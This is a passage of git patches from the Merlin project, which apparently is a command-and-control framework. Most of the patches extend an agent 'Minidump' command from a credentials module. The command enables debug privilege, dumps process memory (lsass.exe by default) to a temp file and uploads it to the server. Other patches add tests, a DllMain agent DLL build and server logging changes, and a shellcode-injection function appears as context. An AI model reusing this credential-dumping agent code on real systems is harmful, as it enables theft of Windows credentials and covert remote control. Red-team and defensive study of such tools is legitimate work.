string, client *http.Client) { fileHash.Sum(nil))) } c := messages.FileTransfer{ - FileLocation: process + ".dmp", + FileLocation: fmt.Sprintf("%s.%d.dmp", miniD.ProcName, miniD.ProcID), FileBlob: base64.StdEncoding.EncodeToString([]byte(fileData)), IsDownload: true, Job: p.Job, diff --git a/pkg/agent/agent_windows_test.go b/pkg/agent/agent_windows_test.go index a2a18e87..441de805 100644 --- a/pkg/agent/agent_windows_test.go +++ b/pkg/agent/agent_windows_test.go @@ -23,7 +23,8 @@ func TestGetPrcID(t *testing.T) { func TestMinidump(t *testing.T) { //check a good minidump works - byts, err := miniDump("go.exe", 0) + md, err := miniDump("", "go.exe", 0) + byts := md.FileContent if err != nil { t.Error("Failed minidump on known process (possible false positive if run in non-windows environment somehow):", err) } @@ -32,27 +33,39 @@ func TestMinidump(t *testing.T) { } //check a minidump on an unknown proc doesn't work - _, err = miniDump("notarealprocess.exe", 0) + _, err = miniDump("", "notarealprocess.exe", 0) if err == nil { t.Error("Found process when it shouldn't have...") } //check a minidump providing a pid with blank string works - pid := getProcID("go.exe") - byts, err = miniDump("", pid) + pid, err := getProcID("go.exe") + md, err = miniDump("", "", pid) + byts = md.FileContent if err != nil || len(byts) == 0 { t.Error("Minidump using pid failed") } + //verify proc name matches + if md.ProcName != "go.exe" { + t.Error("Minidump proc name does not match: ", "go.exe", md.ProcName) + } //check a minidump with a valid pid but invalid string works (pid should take priority) - byts, err = miniDump("notarealprocess.exe", pid) + md, err = miniDump("", "notarealprocess.exe", pid) + byts = md.FileContent if err != nil || len(byts) == 0 { t.Error("Minidump using valid pid and invalid proc name failed") } + //verify proc name matches + if md.ProcName != "go.exe" { + t.Error("Minidump proc name does not match: ", "go.exe", md.ProcName) + } //check a minidump with a valid proc name, but invalid pid fails - byts, err = miniDump("go.exe", 123456789) + md, err = miniDump("", "go.exe", 123456789) + byts = md.FileContent if err == nil { t.Error("Minidump dumped a process even though provided pid was invalid") } + } diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index 8fe9da26..28475e63 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -375,10 +375,16 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { // TODO always close handle during exception handling -// miniDump will attempt to perform a minidumpwritedump operation on the provided process, and returns the raw bytes of the dumpfile back as an upload to the server. Touches disk during the dump process, however uses the OS default tempfile location -func miniDump(process string, pid uint32) ([]byte, error) { - ret := []byte{} +type MinidumpFile struct { + ProcName string + ProcID uint32 + FileContent []byte +} +// miniDump will attempt to perform a minidumpwritedump operation on the provided process, and returns the raw bytes of the dumpfile back as an upload to the server. Touches disk during the dump process, however uses the OS default tempfile location +func miniDump(tempfile, process string, inPid uint32) (MinidumpFile, error) { + ret := MinidumpFile{} // []byte{} + pid := inPid //get debug privs (required for dumping processes not owned by current user) err := sePrivEnable("SeDebugPrivilege") if err != nil { @@ -410,11 +416,22 @@ func miniDump(process string, pid uint32) ([]byte, error) { //get our proc ID, and get a handle to the process. If PID is not provided, search for the PID if pid <= 0 { - pid = getProcID(process) + pid, err = getProcID(process) + if err != nil { + return ret, err + } } if pid <= 0 { return ret, errors.New("could not find the process") } + if process == "" || inPid != 0 { //assign process name if the name is blank, or if the pid is provided + process, err = getProcName(pid) + if err != nil { + return ret, err + } + } + ret.ProcID = pid + ret.ProcName = process hProc, err := syscall.OpenProcess(0x1F0FFF, false, pid) //PROCESS_ALL_ACCESS := uint32(0x1F0FFF) if err != nil { return ret, err @@ -426,7 +443,7 @@ func miniDump(process string, pid uint32) ([]byte, error) { f.Close() //idk why this fixes the 'not same as on disk' issue, but it does if r != 0 { - ret, err = ioutil.ReadFile(f.Name()) + ret.FileContent, err = ioutil.ReadFile(f.Name()) if err != nil { return ret, err } @@ -435,13 +452,13 @@ func miniDump(process string, pid uint32) ([]byte, error) { } //getProcID returns the PID of the provided process name (eg lsass.exe). PID of < 1 indicates didn't find the process. -func getProcID(procname string) uint32 { +func getProcID(procname string) (uint32, error) { //https://github.com/mitchellh/go-ps/blob/master/process_windows.go handle, err := syscall.CreateToolhelp32Snapshot( 0x00000002, 0) - if handle < 0 { - return 0 + if handle < 0 || err != nil { + return 0, fmt.Errorf("Could not get snapshot:\n%s", err) } defer syscall.CloseHandle(handle) @@ -449,8 +466,7 @@ func getProcID(procname string) uint32 { entry.Size = uint32(unsafe.Sizeof(entry)) err = syscall.Process32First(handle, &entry) if err != nil { - fmt.Println(err) - return 0 + return 0, fmt.Errorf("Could not process the handle:\n%s", err) } for { @@ -461,14 +477,50 @@ func getProcID(procname string) uint32 { } } if s == procname { - return entry.ProcessID + return entry.ProcessID, nil + } + err = syscall.Process32Next(handle, &entry) + if err != nil { + break + } + } + return 0, fmt.Errorf("Could not find pid for supplied name \"%s\"", procname) +} + +//getProcName will return the name of the process associated with the specified pid. +func getProcName(pid uint32) (string, error) { + //https://github.com/mitchellh/go-ps/blob/master/process_windows.go + handle, err := syscall.CreateToolhelp32Snapshot( + 0x00000002, + 0) + if handle < 0 || err != nil { + return "", fmt.Errorf("Could not get snapshot:\n%s", err) + } + defer syscall.CloseHandle(handle) + + var entry syscall.ProcessEntry32 + entry.Size = uint32(unsafe.Sizeof(entry)) + err = syscall.Process32First(handle, &entry) + if err != nil { + return "", fmt.Errorf("Could not process the handle:\n%s", err) + } + + for { + s := "" + for _, chr := range entry.ExeFile { + if chr != 0 { + s = s + string(int(chr)) + } + } + if entry.ProcessID == pid { + return s, nil } err = syscall.Process32Next(handle, &entry) if err != nil { break } } - return 0 + return "", fmt.Errorf("Could not find pid for supplied pid \"%d\"", pid) } //sePrivEnable adjusts the privileges of the current process to add the passed in string. Good for setting 'SeDebugPrivilege' From 1faf795ab8f157239b988fee9b8c05fd53f5663b Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Sat, 16 Feb 2019 18:48:31 +0800 Subject: [PATCH 057/112] add ability to specify temp location --- .../windows/x64/go/credentials/minidump.json | 5 +- pkg/agent/agent.go | 38 ++++++++------ pkg/agent/agent_windows_test.go | 33 ++++++++++-- pkg/agent/exec_windows.go | 51 +++++++++++++++++-- 4 files changed, 100 insertions(+), 27 deletions(-) diff --git a/data/modules/windows/x64/go/credentials/minidump.json b/data/modules/windows/x64/go/credentials/minidump.json index fbaedb79..7142ba1d 100644 --- a/data/modules/windows/x64/go/credentials/minidump.json +++ b/data/modules/windows/x64/go/credentials/minidump.json @@ -13,10 +13,11 @@ "local": [""], "options": [ {"name": "Process", "value": "lsass.exe", "required": true, "flag": "", "description":"Name of the process to obtain a minidump of. If multiple processes exist with this name, it's likely the lowest PID will be used."}, - {"name": "PID", "value": "0", "required": false, "flag": "", "description":"Specific PID to dump. Will ignore process name if this value is set."} + {"name": "PID", "value": "0", "required": false, "flag": "", "description":"Specific PID to dump. Will ignore process name if this value is set."}, + {"name": "TempLocation", "value": "", "required": false, "flag":"", "description": "Location to temporarily store the dumpfile on the host. Specify a directory by leaving a \\ or / suffix. The file is removed immediately after process dumping is complete. By default, the first non-empty value from %TMP%, %TEMP%, %USERPROFILE%, or the Windows directory is used."} ], "description": "Calls minidump on the provided process, dumps out to a temporary file and uploads the minidump file to the server.", "notes": "Written in native go - the only disk access is when writing out the file to the temp location. Must be elevated to run, and automatically sets the correct token privileges required to access other processes memory.", - "commands": ["Minidump", "{{Process}}", "{{PID}}"] + "commands": ["Minidump", "{{Process}}", "{{PID}}", "{{TempLocation}}"] } } \ No newline at end of file diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 8d6705c4..20e00817 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -665,37 +665,43 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } switch p.Command { case "Minidump": - if a.Verbose { + //args: []string{process name, pid, temppath} + if a.Verbose || true { message("note", "Received Minidump request") + fmt.Println(p.Args, len(p.Args)) } //ensure the provided args are valid - if len(p.Args) < 1 { + if len(p.Args) < 2 { //not enough args if a.Verbose { message("warn", fmt.Sprintf("Not enough args were provided to dump a process")) - break } + break } process := p.Args[0] //string TODO: do some validation here I guess //clean the arg - for some reason spaces at the start? process = strings.Trim(process, " ") pid := uint32(0) - if len(p.Args) > 1 { - //clean the arg - for some reason spaces at the start? - p.Args[1] = strings.Trim(p.Args[1], " ") - pidInt, err := strconv.ParseInt(p.Args[1], 0, 32) - if err != nil { - //probably not well formatted number - if a.Verbose { - message("warn", fmt.Sprintf("Could not parse pid value:"+p.Args[1])) - message("warn", fmt.Sprintf(err.Error())) - } - break + + //clean the arg - for some reason spaces at the start? + p.Args[1] = strings.Trim(p.Args[1], " ") + pidInt, err := strconv.ParseInt(p.Args[1], 0, 32) + if err != nil { + //probably not well formatted number + if a.Verbose { + message("warn", fmt.Sprintf("Could not parse pid value:"+p.Args[1])) + message("warn", fmt.Sprintf(err.Error())) } - pid = uint32(pidInt) + break + } + pid = uint32(pidInt) + tempPath := "" + if len(p.Args) == 3 { + tempPath = p.Args[2] } + //get minidump - miniD, fileDataErr := miniDump("", process, pid) + miniD, fileDataErr := miniDump(tempPath, process, pid) fileData := miniD.FileContent //copied and pasted from upload func, modified appropriately diff --git a/pkg/agent/agent_windows_test.go b/pkg/agent/agent_windows_test.go index 441de805..b3eb6d8f 100644 --- a/pkg/agent/agent_windows_test.go +++ b/pkg/agent/agent_windows_test.go @@ -9,13 +9,13 @@ import ( func TestGetPrcID(t *testing.T) { //ensure proces that definitely exists returns a value - lsassPid := getProcID("lsass.exe") - if lsassPid == 0 { + lsassPid, err := getProcID("lsass.exe") + if lsassPid == 0 || err != nil { t.Error("Couldn't find lsass.exe") } //ensure process that definitely doesn't exist returns a 0 value - garbagePid := getProcID("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.exe") - if garbagePid != 0 { + garbagePid, err := getProcID("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.exe") + if garbagePid != 0 || err == nil { t.Error("Got a non zero return for a garbage process") } } @@ -68,4 +68,29 @@ func TestMinidump(t *testing.T) { t.Error("Minidump dumped a process even though provided pid was invalid") } + //check for non-existing path (dir) + md, err = miniDump("C:\\thispathbetternot\\exist\\", "go.exe", 0) + if err == nil { + t.Error("Didn't get an error on non-existing path (check to make sure hte path doesn't actually exist)") + } + + //check for existing path (dir) + md, err = miniDump("C:\\temp\\", "go.exe", 0) + if err != nil { + t.Error("Got an error on existing path (check to make sure the path actually exists)") + t.Error(err) + } + + //check for existing file + md, err = miniDump("C:\\Windows\\System32\\calc.exe", "go.exe", 0) + if err == nil { + t.Error("Didn't get an error on existing file (check to make sure the path & file actually exist)") + } + + //check for non- existing file + md, err = miniDump("C:\\temp\\hopethefilenothere", "go.exe", 0) + if err != nil { + t.Error("Got an error on non-existing file (check to make sure the file actually doesn't exist)") + t.Error(err) + } } diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index 28475e63..88a4e882 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -26,6 +26,8 @@ import ( "io/ioutil" "os" "os/exec" + "path/filepath" + "strings" "syscall" "unsafe" @@ -405,13 +407,52 @@ func miniDump(tempfile, process string, inPid uint32) (MinidumpFile, error) { k32 := windows.NewLazySystemDLL("DbgHelp.dll") m := k32.NewProc("MiniDumpWriteDump") - //set up the tempfile to write to, automatically remove it once done - // TODO: Work out how to do this in memory - f, e := ioutil.TempFile(os.TempDir(), "") - if e != nil { - return ret, e + var f *os.File + var e error + if tempfile == "" { + //set up the tempfile to write to, automatically remove it once done + // TODO: Work out how to do this in memory + f, e = ioutil.TempFile(os.TempDir(), "") + if e != nil { + return ret, e + } + } else { + var dirpath string + var filename string + //if the supplied path ends with a "\" or a "/", assume user provided a directory + if strings.HasSuffix(tempfile, "/") || strings.HasSuffix(tempfile, "\\") { + dirpath = tempfile + } else { + dirpath = filepath.Dir(tempfile) + fmt.Println(dirpath) + filename = filepath.Base(tempfile) + } + //check the path to the specified place exists + if _, serr := os.Stat(dirpath); serr != nil { + return ret, fmt.Errorf("Directory doesn't exist") + } + + //if the file is provided, first check if it exists: + if filename != "" { + if _, serr := os.Stat(tempfile); serr == nil { + return ret, fmt.Errorf("File exists") + } + //otherwise, create new file + f, e = os.OpenFile(tempfile, os.O_CREATE|os.O_APPEND|os.O_RDWR, 0600) + if e != nil { + return ret, e + } + } else { + //user provided a directory, create a tempfile in the specified location + f, e = ioutil.TempFile(tempfile, "") + if e != nil { + return ret, e + } + } } + //remove the file after the function exits, regardless of error nor not defer os.Remove(f.Name()) + stdOutHandle := f.Fd() //get our proc ID, and get a handle to the process. If PID is not provided, search for the PID From 9ca1a78aeeb4083afd57b2061914ae6cc6d8cc5d Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Sat, 16 Feb 2019 18:51:37 +0800 Subject: [PATCH 058/112] make linting tests pass --- pkg/agent/exec_windows.go | 1 + 1 file changed, 1 insertion(+) diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index 88a4e882..d11248af 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -377,6 +377,7 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { // TODO always close handle during exception handling +//MinidumpFile holds the structure of of a Minidump operation to report back to merlin type MinidumpFile struct { ProcName string ProcID uint32 From 8df85a0ab619c862a01c3113adc76125424e4884 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 18 Feb 2019 09:52:51 -0500 Subject: [PATCH 059/112] Updated Make file for a DLL with DllMain as libMerlin --- Makefile | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index 88e7f729..e845a377 100644 --- a/Makefile +++ b/Makefile @@ -27,7 +27,7 @@ D=Darwin-x64 $(shell mkdir -p ${DIR}) # Change default to just make for the host OS and add MAKE ALL to do this -default: server-windows agent-windows server-linux agent-linux server-darwin agent-darwin agent-dll agent-javascript +default: server-windows agent-windows server-linux agent-linux server-darwin agent-darwin agent-dll agent-dll-library agent-javascript all: default @@ -54,13 +54,20 @@ server-windows: agent-windows: export GOOS=windows GOARCH=amd64;go build ${WINAGENTLDFLAGS} -o ${DIR}/${MAGENT}-${W}.exe cmd/merlinagent/main.go -# Compile Agent - Windows x64 DLL +# Compile Agent - Windows x64 DLL - main() - Console agent-dll: export GOOS=windows GOARCH=amd64 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1; \ go build ${LDFLAGS} -buildmode=c-archive -o ${DIR}/main.a cmd/merlinagentdll/main.go; \ cp data/bin/dll/merlin.c ${DIR}; \ x86_64-w64-mingw32-gcc -shared -pthread -o ${DIR}/merlin.dll ${DIR}/merlin.c ${DIR}/main.a -lwinmm -lntdll -lws2_32 +# Compile Agent - Windows x64 DLL - DllMain() - DLL +agent-dll-library: + export GOOS=windows GOARCH=amd64 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1; \ + go build ${LDFLAGS} -buildmode=c-shared -o ${DIR}/libmerlin.so cmd/merlinagentdll/main.go; \ + cp data/bin/dll/libmerlin.c ${DIR}; \ + x86_64-w64-mingw32-gcc -shared -pthread -o ${DIR}/libmerlin.dll ${DIR}/libmerlin.c ${DIR}/libmerlin.so -lwinmm -lntdll -lws2_32 + # Compile Server - Linux x64 server-linux: export GOOS=linux;export GOARCH=amd64;go build ${LDFLAGS} -o ${DIR}/${MSERVER}-${L} cmd/merlinserver/main.go From cfb6e9068b680fc23662e4595051545496ba69e0 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 18 Feb 2019 10:12:46 -0500 Subject: [PATCH 060/112] Import annotations --- pkg/servers/http2/http2.go | 12 +++++------- pkg/util/tls.go | 1 + test/util_test.go | 2 ++ 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index 88e1aecf..65fc633c 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -18,9 +18,6 @@ package http2 import ( - "errors" - - "github.com/Ne0nd0g/merlin/pkg/util" // Standard "crypto/sha1" // #nosec G505 - This library is required to check X.509 certificates using SHA1 hash "crypto/tls" @@ -29,6 +26,7 @@ import ( "encoding/hex" "encoding/json" "encoding/pem" + "errors" "fmt" "io/ioutil" "net/http" @@ -47,6 +45,7 @@ import ( "github.com/Ne0nd0g/merlin/pkg/core" "github.com/Ne0nd0g/merlin/pkg/logging" "github.com/Ne0nd0g/merlin/pkg/messages" + "github.com/Ne0nd0g/merlin/pkg/util" ) // Server is a structure for creating and instantiating new server objects @@ -129,10 +128,9 @@ func New(iface string, port int, protocol string, key string, certificate string message("warn", err.Error()) } - - // TODO switch to SHA256 - // Create SHA1 fingerprint from Certificate - sha1Fingerprint := sha1.Sum(pubCert.Raw) // #nosec G401 - Required to handle certificates with no SHA256 hash + // TODO switch to SHA256 + // Create SHA1 fingerprint from Certificate + sha1Fingerprint := sha1.Sum(pubCert.Raw) // #nosec G401 - Required to handle certificates with no SHA256 hash // merlinCRT is the string representation of the SHA1 fingerprint for the public x.509 certificate distributed with Merlin merlinCRT := "e2c9fbb41712c15b57b5cbb6e6ec96fb5efed8fd" diff --git a/pkg/util/tls.go b/pkg/util/tls.go index f5098785..8eebde24 100644 --- a/pkg/util/tls.go +++ b/pkg/util/tls.go @@ -1,6 +1,7 @@ package util import ( + // Standard "crypto" "crypto/ecdsa" "crypto/elliptic" diff --git a/test/util_test.go b/test/util_test.go index 41c7286b..dee85416 100644 --- a/test/util_test.go +++ b/test/util_test.go @@ -1,6 +1,7 @@ package test import ( + // Standard "bytes" "crypto" "crypto/ecdsa" @@ -16,6 +17,7 @@ import ( "testing" "time" + // Merlin "github.com/Ne0nd0g/merlin/pkg/util" ) From addfd74e3214dd358d73dd7ef4d21e968fa1139c Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 18 Feb 2019 10:41:33 -0500 Subject: [PATCH 061/112] Updated error messages and logging to be consistent through package. --- pkg/servers/http2/http2.go | 95 +++++++++++++++++++++++--------------- 1 file changed, 58 insertions(+), 37 deletions(-) diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index 65fc633c..462633c4 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -77,55 +77,62 @@ func New(iface string, port int, protocol string, key string, certificate string message("info", "Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates") cerp, err := util.GenerateTLSCert(nil, nil, nil, nil, nil, nil, true) //ec certs not supported (yet) :( if err != nil { - message("warn", "There was an error generating the SSL/TLS certificate") - message("warn", err.Error()) + m := fmt.Sprintf("There was an error generating the SSL/TLS certificate:\r\n%s", err.Error()) + logging.Server(m) + message("warn", m) return s, err } cer = *cerp } else { if errCrt != nil { - message("warn", "There was an error importing the SSL/TLS x509 certificate") - message("warn", errCrt.Error()) + m := fmt.Sprintf("There was an error importing the SSL/TLS x509 certificate:\r\n%s", errCrt.Error()) + logging.Server(m) + message("warn", m) return s, errCrt } s.Certificate = certificate _, errKey := os.Stat(key) if errKey != nil { - message("warn", "There was an error importing the SSL/TLS x509 key") - message("warn", errKey.Error()) - logging.Server(fmt.Sprintf("There was an error importing the SSL/TLS x509 key\r\n%s", errKey.Error())) + m := fmt.Sprintf("There was an error importing the SSL/TLS x509 key:\r\n%s", errKey.Error()) + logging.Server(m) + message("warn", m) return s, errKey } s.Key = key cer, err = tls.LoadX509KeyPair(certificate, key) if err != nil { - message("warn", "There was an error importing the SSL/TLS x509 key pair") + m := fmt.Sprintf("There was an error importing the SSL/TLS x509 key pair\r\n%s", err.Error()) + logging.Server(m) + message("warn", m) message("warn", "Ensure a keypair is located in the data/x509 directory") - message("warn", err.Error()) - logging.Server(fmt.Sprintf("There was an error importing the SSL/TLS x509 key pair\r\n%s", err.Error())) return s, err } // Read x.509 Public Key into a variable PEMData, err := ioutil.ReadFile(certificate) if err != nil { - message("warn", "There was an error reading the SSL/TLS x509 certificate file") - message("warn", err.Error()) + m := fmt.Sprintf("There was an error reading the SSL/TLS x509 certificate file:\r\n%s", err.Error()) + logging.Server(m) + message("warn", m) return s, err } // Decode the x.509 Public Key from PEM block, _ := pem.Decode(PEMData) if block == nil { - message("warn", "failed to decode PEM block from public key") + m := "failed to decode PEM block from public key" + logging.Server(m) + message("warn", m) } // Convert the PEM block into a Certificate object pubCert, err := x509.ParseCertificate(block.Bytes) if err != nil { - message("warn", err.Error()) + m := fmt.Sprintf("There was an error parsing the PEM block:\r\n%s", err.Error()) + logging.Server(m) + message("warn", m) } // TODO switch to SHA256 @@ -143,8 +150,10 @@ func New(iface string, port int, protocol string, key string, certificate string } if len(cer.Certificate) < 1 || cer.PrivateKey == nil { - message("warn", "Unable to import certificate for use in Merlin: empty certificate structure.") - return s, errors.New("Empty certificate structure") + m := "Unable to import certificate for use in Merlin: empty certificate structure." + logging.Server(m) + message("warn", m) + return s, errors.New("empty certificate structure") } // Configure TLS @@ -203,8 +212,9 @@ func (s *Server) Run() error { defer func() { err := server.Close() if err != nil { - message("warn", fmt.Sprintf("There was an error starting the h2 server:\r\n%s", - err.Error())) + m := fmt.Sprintf("There was an error starting the h2 server:\r\n%s", err.Error()) + logging.Server(m) + message("warn", m) return } }() @@ -216,8 +226,9 @@ func (s *Server) Run() error { defer func() { err := server.Close() if err != nil { - message("warn", fmt.Sprintf("There was an error starting the hq server:\r\n%s", - err.Error())) + m := fmt.Sprintf("There was an error starting the hq server:\r\n%s", err.Error()) + logging.Server(m) + message("warn", m) return } }() @@ -268,8 +279,9 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { } err1 := json.NewDecoder(r.Body).Decode(&j) if err1 != nil { - message("warn", fmt.Sprintf("There was an error decoding a POST message sent by an "+ - "agent:\r\n%s", err1)) + m := fmt.Sprintf("There was an error decoding a POST message sent by an agent:\r\n%s", err1.Error()) + logging.Server(m) + message("warn", m) return } @@ -290,12 +302,15 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { message("note", fmt.Sprintf("Sending "+x.Type+" message type to agent")) } if err != nil { - message("warn", err.Error()) + m := fmt.Sprintf("There was an error during an Agent StatusCheckIn:\r\n%s", err.Error()) + logging.Server(m) + message("warn", m) } err2 := json.NewEncoder(w).Encode(x) if err2 != nil { - message("warn", fmt.Sprintf("There was an error encoding the StatusCheckIn JSON "+ - "message:\r\n%s", err2)) + m := fmt.Sprintf("There was an error encoding the StatusCheckIn JSON message:\r\n%s", err2.Error()) + logging.Server(m) + message("warn", m) return } @@ -304,8 +319,9 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { var p messages.CmdResults err3 := json.Unmarshal(payload, &p) if err3 != nil { - message("warn", fmt.Sprintf("There was an error unmarshalling the CmdResults JSON "+ - "object:\r\n%s", err3)) + m := fmt.Sprintf("There was an error unmarshalling the CmdResults JSON object:\r\n%s", err3.Error()) + logging.Server(m) + message("warn", m) return } agents.Log(j.ID, fmt.Sprintf("Results for job: %s", p.Job)) @@ -324,8 +340,9 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { var p messages.AgentInfo err4 := json.Unmarshal(payload, &p) if err4 != nil { - message("warn", fmt.Sprintf("There was an error unmarshalling the AgentInfo "+ - "JSON object:\r\n%s", err4)) + m := fmt.Sprintf("There was an error unmarshalling the AgentInfo JSON object:\r\n%s", err4.Error()) + logging.Server(m) + message("warn", m) return } if core.Debug { @@ -336,28 +353,32 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { var p messages.FileTransfer err5 := json.Unmarshal(payload, &p) if err5 != nil { - message("warn", fmt.Sprintf("There was an error unmarshalling the FileTransfer JSON "+ - "object:\r\n%s", err5)) + m := fmt.Sprintf("There was an error unmarshalling the FileTransfer JSON object:\r\n%s", err5.Error()) + logging.Server(m) + message("warn", m) } if p.IsDownload { agentsDir := filepath.Join(core.CurrentDir, "data", "agents") _, f := filepath.Split(p.FileLocation) // We don't need the directory part for anything if _, errD := os.Stat(agentsDir); os.IsNotExist(errD) { - message("", "[!]There was an error locating the agent's directory") - message("", errD.Error()) + m := fmt.Sprintf("There was an error locating the agent's directory:\r\n%s", errD.Error()) + logging.Server(m) + message("warn", m) } message("success", fmt.Sprintf("Results for job %s", p.Job)) downloadBlob, downloadBlobErr := base64.StdEncoding.DecodeString(p.FileBlob) if downloadBlobErr != nil { - message("", "[!]There was an error decoding the fileBlob") - message("", downloadBlobErr.Error()) + m := fmt.Sprintf("There was an error decoding the fileBlob:\r\n%s", downloadBlobErr.Error()) + logging.Server(m) + message("warn", m) } else { downloadFile := filepath.Join(agentsDir, j.ID.String(), f) writingErr := ioutil.WriteFile(downloadFile, downloadBlob, 0644) if writingErr != nil { - message("warn", fmt.Sprintf("There was an error writing to : %s", p.FileLocation)) - message("warn", writingErr.Error()) + m := fmt.Sprintf("There was an error writing to -> %s:\r\n%s", p.FileLocation, writingErr.Error()) + logging.Server(m) + message("warn", m) } else { message("success", fmt.Sprintf("Successfully downloaded file %s with a size of "+ "%d bytes from agent %s to %s", From 782b979f66943792da24a5a4966e2b6fd1492483 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 18 Feb 2019 14:30:35 -0500 Subject: [PATCH 062/112] Removed SHA1. Updated server logging to include certificate information. --- docs/CHANGELOG.MD | 2 + pkg/servers/http2/http2.go | 81 ++++++++++++++++++-------------------- 2 files changed, 40 insertions(+), 43 deletions(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index fe6a3ec3..a09b562d 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -12,6 +12,8 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. - [Pull 49](https://github.com/Ne0nd0g/merlin/pull/49) - Added tests for agent package and new `/test` directory for test HTTP server - [Pull 50](https://github.com/Ne0nd0g/merlin/pull/50) - Adds a killdate option to agents - Added `set killdate` to Merlin Server agent menu and information table so that it can be changed from the server. +- [Pull 51] + - Updated Merlin server log to include certificate information ### Fixed - [Pull 51](https://github.com/Ne0nd0g/merlin/pull/57) - Resolved broken JSON does not increment failedCheckin counter on Merlin agent diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index 462633c4..76a959bd 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -19,13 +19,12 @@ package http2 import ( // Standard - "crypto/sha1" // #nosec G505 - This library is required to check X.509 certificates using SHA1 hash + "crypto/sha256" "crypto/tls" "crypto/x509" "encoding/base64" "encoding/hex" "encoding/json" - "encoding/pem" "errors" "fmt" "io/ioutil" @@ -73,7 +72,12 @@ func New(iface string, port int, protocol string, key string, certificate string _, errCrt := os.Stat(certificate) if os.IsNotExist(errCrt) { // generate a new ephemeral certificate - message("warn", "No certificate found at the provided path, creating certificate in-memory for this session only.") + m := fmt.Sprintf("No certificate found at %s", certificate) + logging.Server(m) + message("note", m) + t := "Creating in-memory x.509 certificate used for this session only." + logging.Server(t) + message("note", t) message("info", "Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates") cerp, err := util.GenerateTLSCert(nil, nil, nil, nil, nil, nil, true) //ec certs not supported (yet) :( if err != nil { @@ -109,44 +113,6 @@ func New(iface string, port int, protocol string, key string, certificate string message("warn", "Ensure a keypair is located in the data/x509 directory") return s, err } - - // Read x.509 Public Key into a variable - PEMData, err := ioutil.ReadFile(certificate) - if err != nil { - m := fmt.Sprintf("There was an error reading the SSL/TLS x509 certificate file:\r\n%s", err.Error()) - logging.Server(m) - message("warn", m) - return s, err - } - - // Decode the x.509 Public Key from PEM - block, _ := pem.Decode(PEMData) - if block == nil { - m := "failed to decode PEM block from public key" - logging.Server(m) - message("warn", m) - } - - // Convert the PEM block into a Certificate object - pubCert, err := x509.ParseCertificate(block.Bytes) - if err != nil { - m := fmt.Sprintf("There was an error parsing the PEM block:\r\n%s", err.Error()) - logging.Server(m) - message("warn", m) - } - - // TODO switch to SHA256 - // Create SHA1 fingerprint from Certificate - sha1Fingerprint := sha1.Sum(pubCert.Raw) // #nosec G401 - Required to handle certificates with no SHA256 hash - - // merlinCRT is the string representation of the SHA1 fingerprint for the public x.509 certificate distributed with Merlin - merlinCRT := "e2c9fbb41712c15b57b5cbb6e6ec96fb5efed8fd" - - // Check to see if the Public Key SHA1 finger print matches the certificate distributed with Merlin for testing - if merlinCRT == hex.EncodeToString(sha1Fingerprint[:]) { - message("warn", "Insecure publicly distributed Merlin x.509 testing certificate in use") - message("info", "Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates") - } } if len(cer.Certificate) < 1 || cer.PrivateKey == nil { @@ -156,6 +122,37 @@ func New(iface string, port int, protocol string, key string, certificate string return s, errors.New("empty certificate structure") } + // Parse into X.509 format + x, errX509 := x509.ParseCertificate(cer.Certificate[0]) + if errX509 != nil { + m := fmt.Sprintf("There was an error parsing the tls.Certificate structure into a x509.Certificate"+ + " structure:\r\n%s", errX509.Error()) + logging.Server(m) + message("warn", m) + return s, errX509 + } + // Create fingerprint + S256 := sha256.Sum256(x.Raw) + sha256Fingerprint := hex.EncodeToString(S256[:]) + + // merlinCRT is the string representation of the SHA1 fingerprint for the public x.509 certificate distributed with Merlin + merlinCRT := "4af9224c77821bc8a46503cfc2764b94b1fc8aa2521afc627e835f0b3c449f50" + + // Check to see if the Public Key SHA1 finger print matches the certificate distributed with Merlin for testing + if merlinCRT == sha256Fingerprint { + message("warn", "Insecure publicly distributed Merlin x.509 testing certificate in use") + message("info", 